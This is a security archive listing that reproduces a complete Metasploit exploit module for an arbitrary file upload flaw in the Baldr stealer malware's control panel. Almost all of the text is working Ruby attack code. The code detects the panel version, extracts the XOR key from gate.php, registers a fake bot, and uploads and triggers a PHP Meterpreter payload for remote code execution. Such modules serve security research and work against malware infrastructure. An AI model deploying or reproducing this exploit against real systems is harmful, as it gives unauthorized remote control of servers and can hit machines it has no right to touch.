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Baldr Botnet Panel Shell Upload

Baldr Botnet Panel Shell Upload
Posted Jul 29, 2020
Authored by Ege Balci | Site metasploit.com

This Metasploit module exploits a arbitrary file upload vulnerability within the Baldr stealer malware control panel. Attackers can turn this vulnerability into remote code execution by adding malicious PHP code inside the victim logs ZIP file and registering a new bot to the panel by uploading the ZIP file under the logs directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4 byte XOR key. This exploit module retrieves the IP specific XOR key from panel gate and registers a new victim to the panel with adding the selected payload inside the victim logs.

tags | exploit, remote, arbitrary, php, code execution, file upload
MD5 | 3aee05fb3bfa3e3eb0452ce7bbf7bdfb

Baldr Botnet Panel Shell Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
'Description' => %q{
This module exploits a arbitrary file upload vulnerability within the Baldr
stealer malware control panel. Attackers can turn this vulnerability into
an RCE by adding a malicious PHP code inside the victim logs ZIP file and
registering a new bot to the panel by uploading the ZIP file under logs
directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4
byte XOR key.

This exploit module retrieves the IP spesific XOR key from panel gate
and registers a new victim to the panel with adding the selected payload
inside the victim logs.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balc─▒ <egebalci@pm.me>' # author & msf module
],
'References' =>
[
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5
},
'Platform' => [ 'php' ],
'Arch' => [ ARCH_PHP ],
'Targets' =>
[
[
'Auto',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'<= v2.0',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'v2.2',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
],
[
'v3.0 & v3.1',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 19 2018',
'DefaultTarget' => 0
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
]
)
end

def check
if select_target
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
else
Exploit::CheckCode::Safe
end
end

def select_target
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'gate.php')
)
if res && res.code == 200
if res.body.include?('~;~')
targets[3]
elsif res.body.include?(';')
targets[2]
elsif res.body.size < 4
targets[1]
end
end
end

def exploit
# Forge the payload
name = ".#{Rex::Text.rand_text_alpha(4)}"
files =
[
{ data: payload.encoded, fname: "#{name}.php" }
]
zip = Msf::Util::EXE.to_zip(files)
hwid = Rex::Text.rand_text_alpha(8).upcase

gate_uri = normalize_uri(target_uri.path, 'gate.php')
version = select_target
# If not 'Auto' then use the selected version
if target != targets[0]
version = target
end

gate_res = send_request_cgi({
'method' => 'GET',
'uri' => gate_uri
})
os = Rex::Text.rand_text_alpha(8..12)

case version
when targets[3]
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
end
key = gate_res.body.to_s.split('~;~')[0]
print_good("Key: #{key}")

data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
data = Rex::Text.xor(key, data)

res = send_request_cgi({
'method' => 'GET',
'uri' => gate_uri,
'data' => data.to_s
})

fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
print_good('Bot successfully registered.')

data = Rex::Text.xor(key, zip.to_s)
form = Rex::MIME::Message.new
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")

res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
})

if res && res.code == 200
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
register_file_for_cleanup("#{name}.php")
else
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
when targets[2]
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
end

key = gate_res.body.to_s.split(';')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
data << zip.to_s
result = Rex::Text.xor(key, data)

res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'data' => result.to_s
})

unless res && res.code == 200
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end

print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
res = send_request_cgi({
'method' => 'POST',
'uri' => gate_uri,
'data' => zip.to_s,
'encode_params' => true,
'vars_get' => {
'hwid' => hwid,
'os' => os,
'cookie' => '0',
'pswd' => '0',
'credit' => '0',
'wallet' => '0',
'file' => '1',
'autofill' => '0',
'version' => 'v2.0'
}
})

if res && res.code == 200
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}")
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end

vprint_status('Triggering payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
}, 3)
end
end
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